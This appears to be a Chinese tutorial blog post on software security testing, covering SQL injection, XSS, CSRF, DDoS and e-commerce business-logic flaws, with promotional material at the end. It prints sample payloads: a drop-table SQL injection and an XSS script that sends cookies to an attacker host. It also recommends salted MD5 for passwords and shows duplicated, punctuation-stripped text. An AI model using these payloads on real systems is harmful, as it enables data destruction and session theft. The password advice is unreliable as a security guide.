网站程序设计,广州网站制,网站到期忘记续费,专业的建设网站哪个好一、前言
我刚开始接触安全测试的时候#xff0c;想的最多就说那种在昏暗的灯光下#xff0c;带着神秘面具的黑客#xff0c;对着键盘噼里啪啦一顿猛如虎的操作#xff0c;然后长舒一口气#xff0c;最后来了句yes#xff0c;完美收工#xff01;
随后的职业生涯中想的最多就说那种在昏暗的灯光下带着神秘面具的黑客对着键盘噼里啪啦一顿猛如虎的操作然后长舒一口气最后来了句yes完美收工
随后的职业生涯中在同行的带领下开始了第一次安全测试之旅。当时大致的过程如下选择一款安全扫描工具Appscan配置好要扫描的网站地址登录信息等点击开始扫描two thousands years laterAppscan生成了一份非常详细的安全测试报告然后我们对这份详细的报告里面的安全问题进行了一一验证最后再提交给开发进行修复经历了这次实战之后让我觉得安全测试只不过如此嘛随着个人工作经验的不断积累我对于安全测试的理解也越来越深刻此致记录个人对于安全测试的理解。
对于软件安全测试本次主要分享以下几类安全问题
第一类软件系统的账户及数据安全
第二类常见的web攻击及防御手段
第三类业务系统测试可能存在的安全。以下内容限于个人水平有限如有叙述不当还请海涵。
同时在这我也准备了一份软件测试视频教程含接口、自动化、性能等需要的可以直接在下方观看或者直接关注VX公众号互联网杂货铺免费领取
软件测试视频教程观看处 京东内部员工自动化测试培训课程盲目自学真的会毁终生27天学完能救一个是一个... 二、软件系统的账户及数据安全
可以说大部分的公司对于我们核心系统的账户/密码的保护几乎为零任何一个员工的任何一个理由就能轻易的拿到管理后台的账户和密码并且对于这个账户的密码几乎也不做任何的定期修改还有的公司直接将客户的用户名和密码打印在日志里面对于这类情况其最大的问题在于公司缺少对于这块的风险意识和完善的安全机制总会觉得一切没有那么巧合或许到这你才恍然发现为什么我们的信息会被泄露。新闻媒体经常报道某某因贩卖用户资料被逮捕但是没抓到的又有多少呢之前我在的一家公司一小伙为了利益将公司500G的客户资料卖给了竞争对手被当场抓住之所以能抓住一切得力于公司健全的安全机制对于软件系统而言客户的信息至关重要切莫让悲剧发生
三、常见的web攻击及防御手段
在互联网开始兴起之初存在各式各样的web安全问题不过现在随着各种框架的不断诞生对于此类的安全问题都做的比较好了同时也有很多扫描工具可以完成安全扫描所以这块对于我们来说不需要投入太多的精力。但是从学习的角度来说了解一下常见的web攻击及防御手段也是有必要的。
1、SQL注入
概念
通过sql命令伪装成正常的http请求参数传递到服务器端服务器执行sql命令造成对数据库进行攻击
案例 or 1 1。这是最常见的sql注入攻击当我们输如用户名 admin然后密码输如or 1 1的时候我们在查询用户名和密码是否正确的时候本来要执行的是select * from user where usernameuser and passwordpwd,经过参数拼接后会执行sql语句 select * from user where usernameadmin and password or 11 这个时候11是成立自然就跳过验证了。但是如果再严重一点密码输如的是;drop table user;--那么sql命令为select * from user where usernameadmin and password;drop table user;-- 这个时候我们就直接把这个表给删除了。
被攻击的原因
sql语句伪造参数然后在对参数进行拼接的后形成破坏性的sql语句最后导致数据库受到攻击
预防
在java中我们可以使用预编译语句(PreparedStatement)这样的话即使我们使用sql语句伪造成参数到了服务端的时候这个伪造sql语句的参数也只是简单的字符并不能起到攻击的作用。很多orm框架已经可以对参数进行转义做最坏的打算即使被’拖库‘。数据库中密码不应明文存储的可以对密码使用md5进行加密为了加大破解成本所以可以采用加盐的数据库存储用户名盐随机字符长md5后的密文方式。
2、XSS(跨站脚本攻击)
概念
全称是跨站脚本攻击Cross Site Scripting指攻击者在网页中嵌入恶意脚本程序。
案列
比如说我写了一个博客网站然后攻击者在上面发布了一个文章内容是这样的 scriptwindow.open(“www.gongji.com?param”document.cookie)/script,如果我没有对他的内容进行处理直接存储到数据库那么下一次当其他用户访问他的这篇文章的时候服务器从数据库读取后然后响应给客户端浏览器执行了这段脚本然后就把该用户的cookie发送到攻击者的服务器了。
被攻击的原因
用户输入的数据变成了代码比如说上面的script,应该只是字符串却有了代码的作用。
预防
将输入的数据进行转义处理比如说讲 转义成lt
3、跨站请求伪造(CSRF)
概念
全称是跨站请求伪造(cross site request forgery),指通过伪装成受信任用户的进行访问通俗的讲就是说我访问了A网站然后cookie存在了浏览器然后我又访问了一个流氓网站不小心点了流氓网站一个链接向A发送请求这个时候流氓网站利用了我的身份对A进行了访问。
案列
比如说我登录了A银行网站然后我又访问了室友给的一个流氓网站然后点了里面的一个链接 www.A.com/transfer?account666money10000,那么这个时候很可能我就向账号为666的人转了1wRMB。注意这个攻击方式不一定是我点了这个链接也可以是这个网站里面一些资源请求指向了这个转账链接比如说一个图片
被攻击的原因
用户本地存储cookie攻击者利用用户的cookie进行认证然后伪造用户发出请求
预防
之所以被攻击是因为攻击者利用了存储在浏览器用于用户认证的cookie那么如果我们不用cookie来验证不就可以预防了。所以我们可以采用token不存储于浏览器认证。通过referer识别HTTP Referer是header的一部分当浏览器向web服务器发送请求的时候一般会带上Referer告诉服务器我是从哪个页面链接过来的服务器基此可以获得一些信息用于处理。那么这样的话我们必须登录银行A网站才能进行转账了。
4、DDOS
概念
分布式拒绝服务攻击Distributed Denial of Service简单说就是发送大量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的可以通俗理解dos是单挑而ddos是群殴因为现代技术的发展dos攻击的杀伤力降低所以出现了DDOS攻击者借助公共网络将大数量的计算机设备联合起来向一个或多个目标进行攻击。
案例
SYN Flood ,简单说一下tcp三次握手客户端向服务器发出请求请求建立连接然后服务器返回一个报文表明请求以被接受然后客户端也会返回一个报文最后建立连接。那么如果有这么一种情况攻击者伪造ip地址发出报文给服务器请求连接这个时候服务器接受到了根据tcp三次握手的规则服务器也要回应一个报文可是这个ip是伪造的报文回应给谁呢第二次握手出现错误第三次自然也就不能顺利进行了这个时候服务器收不到第三次握手时客户端发出的报文又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求这个时候服务器将维护一个非常大的半连接等待列表占用了大量的资源最后服务器瘫痪。CC攻击在应用层http协议上发起攻击模拟正常用户发送大量请求直到该网站拒绝服务为止。
被攻击的原因
服务器带宽不足不能挡住攻击者的攻击流量
预防
最直接的方法增加带宽。但是攻击者用各地的电脑进行攻击他的带宽不会耗费很多钱但对于服务器来说带宽非常昂贵。云服务提供商有自己的一套完整DDoS解决方案并且能提供丰富的带宽资源。
四、业务系统测试可能存在的安全问题
我们先来看一个比较通用的电商流程图从这个流程图中我们去分析可能被忽略的安全问题。 1、注册、登录
注册登录功能常见的业务安全漏洞暴力破解、短信验证码回传、短信轰炸、恶意短信发送纵向越权登录。
2、用户数据
用户数据功能常见的业务安全漏洞通过订单号或id直接查询数据详情不做用户关联校验。
3、数据查询
数据查询功能常见的业务安全漏洞恶意爬取数据该模块一般不会存在太多安全问题但需要将之后的下单功能进行观察即在进行查询开关的控制时下单接口也必须要进行控制。
4、下单
下单功能常见的业务漏洞不支持的权限使用使用不支持的红包进行下单及开关未验证库存或临界值被击穿并发测试优惠券积分被击穿订单信息被篡改基础信息、价格等恶意占库存
5、取消订单
取消订单功能常见的业务漏洞并发测试取消库存
6、支付
支付功能常见的业务漏洞支付金额篡改付款前取消订单先付款再更新订单金额。支付证书过期案例
7、订单完成
订单完成功能常见的业务漏洞积分、优惠券未送到本订单的用户
8、退货
退货功能并发退货库存返回正确扣减的积分或优惠券余额不足
9、用户输入
用户输入可能涉及到js注入敏感信息生成大量垃圾数据。
防御
1、增加安全处理策略 2、数据脱敏加签、加密 3、IP黑白名单 4、安全测试
学习不要孤军奋战最好是能抱团取暖相互成就一起成长群众效应的效果是非常强大的大家一起学习一起打卡会更有学习动力也更能坚持下去。
五、写在最后
PS这里分享一套软件测试的自学教程合集。对于在测试行业发展的小伙伴们来说应该会很有帮助。除了基础入门的资源博主也收集不少进阶自动化的资源从理论到实战知行合一才能真正的掌握。全套内容已经打包到网盘内容总量接近500个G。如需要软件测试学习资料关注公众号互联网杂货铺后台回复1整理不易给个关注点个赞吧谢谢各位大佬 这些资料对于做【软件测试】的朋友来说应该是最全面最完整的备战仓库这个仓库也陪伴我走过了最艰难的路程希望也能帮助到你凡事要趁早特别是技术行业一定要提升技术功底。